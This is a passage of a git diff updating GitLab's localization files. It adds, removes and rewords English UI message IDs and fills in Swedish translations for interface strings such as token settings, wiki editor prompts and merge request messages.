@@ -34528,9 +34327,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34543,6 +34351,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34591,6 +34402,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35071,12 +34891,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35167,21 +34981,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35317,9 +35116,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35656,9 +35452,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35788,6 +35590,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36085,9 +35890,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36097,9 +35899,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36181,9 +35989,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36271,6 +36076,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36289,9 +36097,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36325,6 +36130,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36394,7 +36202,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36535,7 +36346,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36667,6 +36478,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36967,6 +36781,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36976,6 +36799,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37177,7 +37003,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37198,6 +37024,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37213,16 +37042,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37237,10 +37066,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37510,6 +37345,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37549,9 +37387,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37729,21 +37564,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37807,9 +37639,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37969,12 +37798,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38002,18 +37825,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38026,12 +37843,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38101,12 +37912,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38191,6 +38008,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38200,6 +38020,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38293,6 +38116,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38350,12 +38176,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38380,6 +38215,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38398,9 +38236,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38704,6 +38539,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38791,6 +38629,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38872,9 +38713,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39262,6 +39100,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39298,9 +39139,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39361,7 +39199,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39442,7 +39280,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39505,6 +39346,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39793,6 +39637,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39895,6 +39742,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index f98aaf68aef..d524704b73e 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,59 +14,56 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:49\n"
+"PO-Revision-Date: 2021-07-01 21:35\n"
msgid " %{name}, confirm your email address now! "
-msgstr ""
-
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
+msgstr " %{name}, bekräfta din e-postadress nu! "
msgid " %{start} to %{end}"
-msgstr ""
+msgstr "%{start} till %{end}"
msgid " (from %{timeoutSource})"
-msgstr ""
+msgstr " (från %{timeoutSource})"
msgid " Collected %{time}"
-msgstr ""
+msgstr " Insamlad %{time}"
msgid " Please sign in."
-msgstr ""
+msgstr " Vänligen logga in."
msgid " Target Path"
-msgstr ""
+msgstr " Målets sökväg"
msgid " Try to %{action} this file again."
-msgstr ""
+msgstr " Försök att %{action} denna fil igen."
msgid " Type"
-msgstr ""
+msgstr " Typ"
msgid " You need to do this before %{grace_period_deadline}."
msgstr ""
msgid " and"
-msgstr ""
+msgstr " och"
msgid " and "
-msgstr ""
+msgstr " och "
msgid " and %{sliced}"
-msgstr ""
+msgstr " och %{sliced}"
msgid " degraded on %d point"
msgid_plural " degraded on %d points"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] " försämrad på %d punkt"
+msgstr[1] " försämrad på %d punkter"
msgid " improved on %d point"
msgid_plural " improved on %d points"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] " förbättrad på %d punkt"
+msgstr[1] " förbättrad på %d punkter"
msgid " or "
-msgstr ""
+msgstr " eller "
msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
@@ -84,20 +81,23 @@ msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
+msgstr "\"%{repository_name}\" storlek (%{repository_size}) är större än gränsen på %{limit}."
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Godkännande"
+msgstr[1] "%d Godkännanden"
msgid "%d Module"
msgid_plural "%d Modules"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Modul"
+msgstr[1] "%d Moduler"
msgid "%d Other"
msgid_plural "%d Others"
@@ -106,38 +106,38 @@ msgstr[1] ""
msgid "%d Package"
msgid_plural "%d Packages"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Paket"
+msgstr[1] "%d Paket"
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d Skannad URL"
+msgstr[1] "%d Skannade URL:er"
msgid "%d URL scanned"
msgid_plural "%d URLs scanned"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d URL skannad"
+msgstr[1] "%d URL:er skannade"
msgid "%d approver"
msgid_plural "%d approvers"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d godkännare"
+msgstr[1] "%d godkännare"
msgid "%d approver (you've approved)"
msgid_plural "%d approvers (you've approved)"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d godkännare (du har godkänt)"
+msgstr[1] "%d godkännare (du har godkänt)"
msgid "%d changed file"
msgid_plural "%d changed files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ändrad fil"
+msgstr[1] "%d ändrade filer"
msgid "%d character remaining"
msgid_plural "%d characters remaining"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d tecken kvar"
+msgstr[1] "%d tecken kvar"
msgid "%d child epic"
msgid_plural "%d child epics"
@@ -151,36 +151,36 @@ msgstr[1] ""
msgid "%d comment"
msgid_plural "%d comments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d kommentar"
+msgstr[1] "%d kommentarer"
msgid "%d comment on this commit"
msgid_plural "%d comments on this commit"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d kommentar till denna commit"
+msgstr[1] "%d kommentarer till denna commit"
msgid "%d commit"
msgid_plural "%d commits"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commit"
+msgstr[1] "%d commits"
msgid "%d commit behind"
msgid_plural "%d commits behind"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commit efter"
+msgstr[1] "%d commits efter"
msgid "%d commit,"
msgid_plural "%d commits,"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d commit,"
+msgstr[1] "%d commits,"
msgid "%d commits"
-msgstr ""
+msgstr "%d commits"
msgid "%d completed issue"
msgid_plural "%d completed issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d slutfört ärende"
+msgstr[1] "%d slutförda ärenden"
msgid "%d contribution"
msgid_plural "%d contributions"
@@ -189,23 +189,23 @@ msgstr[1] ""
msgid "%d day"
msgid_plural "%d days"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d dag"
+msgstr[1] "%d dagar"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d epic"
+msgstr[1] "%d epics"
msgid "%d error"
msgid_plural "%d errors"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fel"
+msgstr[1] "%d fel"
msgid "%d error found:"
msgid_plural "%d errors found:"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fel hittades:"
+msgstr[1] "%d fel hittades:"
msgid "%d exporter"
msgid_plural "%d exporters"
@@ -219,13 +219,13 @@ msgstr[1] ""
msgid "%d failed security job"
msgid_plural "%d failed security jobs"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d misslyckat säkerhetsjobb"
+msgstr[1] "%d misslyckade säkerhetsjobb"
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d fil"
+msgstr[1] "%d filer"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
@@ -234,8 +234,8 @@ msgstr[1] ""
msgid "%d group"
msgid_plural "%d groups"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d grupp"
+msgstr[1] "%d grupper"
msgid "%d group selected"
msgid_plural "%d groups selected"
@@ -244,8 +244,8 @@ msgstr[1] ""
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d timme"
+msgstr[1] "%d timmar"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
@@ -254,28 +254,23 @@ msgstr[1] ""
msgid "%d issue"
msgid_plural "%d issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ärende"
+msgstr[1] "%d ärenden"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d ärende i denna grupp"
+msgstr[1] "%d ärenden i denna grupp"
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d lager"
+msgstr[1] "%d lager"
msgid "%d merge request"
msgid_plural "%d merge requests"
@@ -294,28 +289,28 @@ msgstr[1] ""
msgid "%d milestone"
msgid_plural "%d milestones"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d milstolpe"
+msgstr[1] "%d milstolpar"
msgid "%d minute"
msgid_plural "%d minutes"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d minut"
+msgstr[1] "%d minuter"
msgid "%d more comment"
msgid_plural "%d more comments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d kommentar till"
+msgstr[1] "%d kommentarer till"
msgid "%d open issue"
msgid_plural "%d open issues"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d öppet ärende"
+msgstr[1] "%d öppna ärenden"
msgid "%d pending comment"
msgid_plural "%d pending comments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d väntande kommentar"
+msgstr[1] "%d väntande kommentarer"
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
@@ -344,8 +339,8 @@ msgstr[1] ""
msgid "%d second"
msgid_plural "%d seconds"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%d sekund"
+msgstr[1] "%d sekunder"
msgid "%d shard selected"
msgid_plural "%d shards selected"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,11 +477,16 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
msgid "%{count} more"
-msgstr ""
+msgstr "%{count} fler"
msgid "%{count} more assignees"
msgstr ""
@@ -479,18 +497,18 @@ msgstr[0] ""
msgstr[1] ""
msgid "%{count} of %{required} approvals from %{name}"
-msgstr ""
+msgstr "%{count} av %{required} godkännanden från %{name}"
msgid "%{count} of %{total}"
-msgstr ""
+msgstr "%{count} av %{total}"
msgid "%{count} participant"
msgid_plural "%{count} participants"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{count} deltagare"
+msgstr[1] "%{count} deltagare"
msgid "%{count} related %{pluralized_subject}: %{links}"
-msgstr ""
+msgstr "%{count} relaterade %{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
@@ -499,7 +517,7 @@ msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} Hi
msgstr ""
msgid "%{dashboard_path} could not be found."
-msgstr ""
+msgstr "%{dashboard_path} kunde inte hittas."
msgid "%{days} days until tags are automatically removed"
msgstr ""
@@ -517,10 +535,10 @@ msgid "%{doc_link_start}Advanced search%{doc_link_end} is enabled."
msgstr ""
msgid "%{due_date} (Past due)"
-msgstr ""
+msgstr "%{due_date} (förfallen)"
msgid "%{duration}ms"
-msgstr ""
+msgstr "%{duration}ms"
msgid "%{edit_in_new_fork_notice} Try to cherry-pick this commit again."
msgstr ""
@@ -541,10 +559,10 @@ msgid "%{extra} more downstream pipelines"
msgstr ""
msgid "%{filePath} deleted"
-msgstr ""
+msgstr "%{filePath} raderad"
msgid "%{firstLabel} +%{labelCount} more"
-msgstr ""
+msgstr "%{firstLabel} +%{labelCount} till"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
@@ -562,7 +580,7 @@ msgid "%{group_name} activity"
msgstr ""
msgid "%{group_name} group members"
-msgstr ""
+msgstr "%{group_name} gruppmedlemmar"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
@@ -571,7 +589,7 @@ msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
-msgstr ""
+msgstr "%{hook_type} raderades"
msgid "%{hook_type} was scheduled for deletion"
msgstr ""
@@ -583,7 +601,7 @@ msgid "%{integrations_link_start}Integrations%{link_end} enable you to make thir
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
-msgstr ""
+msgstr "%{issuableType} kommer att tas bort! Är du säker?"
msgid "%{issueType} actions"
msgstr ""
@@ -613,7 +631,7 @@ msgid "%{labelStart}Crash State:%{labelEnd} %{stacktrace_snippet}"
msgstr ""
msgid "%{labelStart}Evidence:%{labelEnd} %{evidence}"
-msgstr ""
+msgstr "%{labelStart}Bevis:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
@@ -646,7 +664,7 @@ msgid "%{label_for_message} unavailable"
msgstr ""
msgid "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} is a free, automated, and open certificate authority (CA), that give digital certificates in order to enable HTTPS (SSL/TLS) for websites."
-msgstr ""
+msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end} är en gratis, automatiserad och öppen certifikatutfärdare (CA), som ger ut digitala certifikat för att aktivera HTTPS (SSL/TLS) för webbplatser."
msgid "%{level_name} is not allowed in a %{group_level_name} group."
msgstr ""
@@ -654,11 +672,11 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr ""
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr "%{link_start}Läs mer%{link_end} om vilken information som delas med GitLab Inc."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -673,7 +691,7 @@ msgid "%{location} is missing required keys: %{keys}"
msgstr ""
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
-msgstr ""
+msgstr "%{lock_path} är låst av GitLab-användaren %{lock_user_id}"
msgid "%{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd} and %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd} are supported"
msgstr ""
@@ -685,13 +703,13 @@ msgid "%{message} showing first %{warnings_displayed}"
msgstr ""
msgid "%{milestone_name} (Past due)"
-msgstr ""
+msgstr "%{milestone_name} (förfallen)"
msgid "%{milestone} (expired)"
-msgstr ""
+msgstr "%{milestone} (utgången)"
msgid "%{milliseconds}ms"
-msgstr ""
+msgstr "%{milliseconds}ms"
msgid "%{model_name} not found"
msgstr ""
@@ -706,25 +724,25 @@ msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new
msgstr ""
msgid "%{name} %{status}"
-msgstr ""
+msgstr "%{name} %{status}"
msgid "%{name} (Busy)"
-msgstr ""
+msgstr "%{name} (Upptagen)"
msgid "%{name} contained %{resultsString}"
-msgstr ""
+msgstr "%{name} innehöll %{resultsString}"
msgid "%{name} found %{resultsString}"
-msgstr ""
+msgstr "%{name} hittade %{resultsString}"
msgid "%{name} is already being used for another emoji"
-msgstr ""
+msgstr "%{name} används redan för en annan emoji"
msgid "%{name} is scheduled for %{action}"
-msgstr ""
+msgstr "%{name} är planerad till %{action}"
msgid "%{name}'s avatar"
-msgstr ""
+msgstr "%{name}s avatar"
msgid "%{name}(%{url}) has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
msgstr ""
@@ -737,23 +755,23 @@ msgstr ""
msgid "%{no_of_days} day"
msgid_plural "%{no_of_days} days"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{no_of_days} dag"
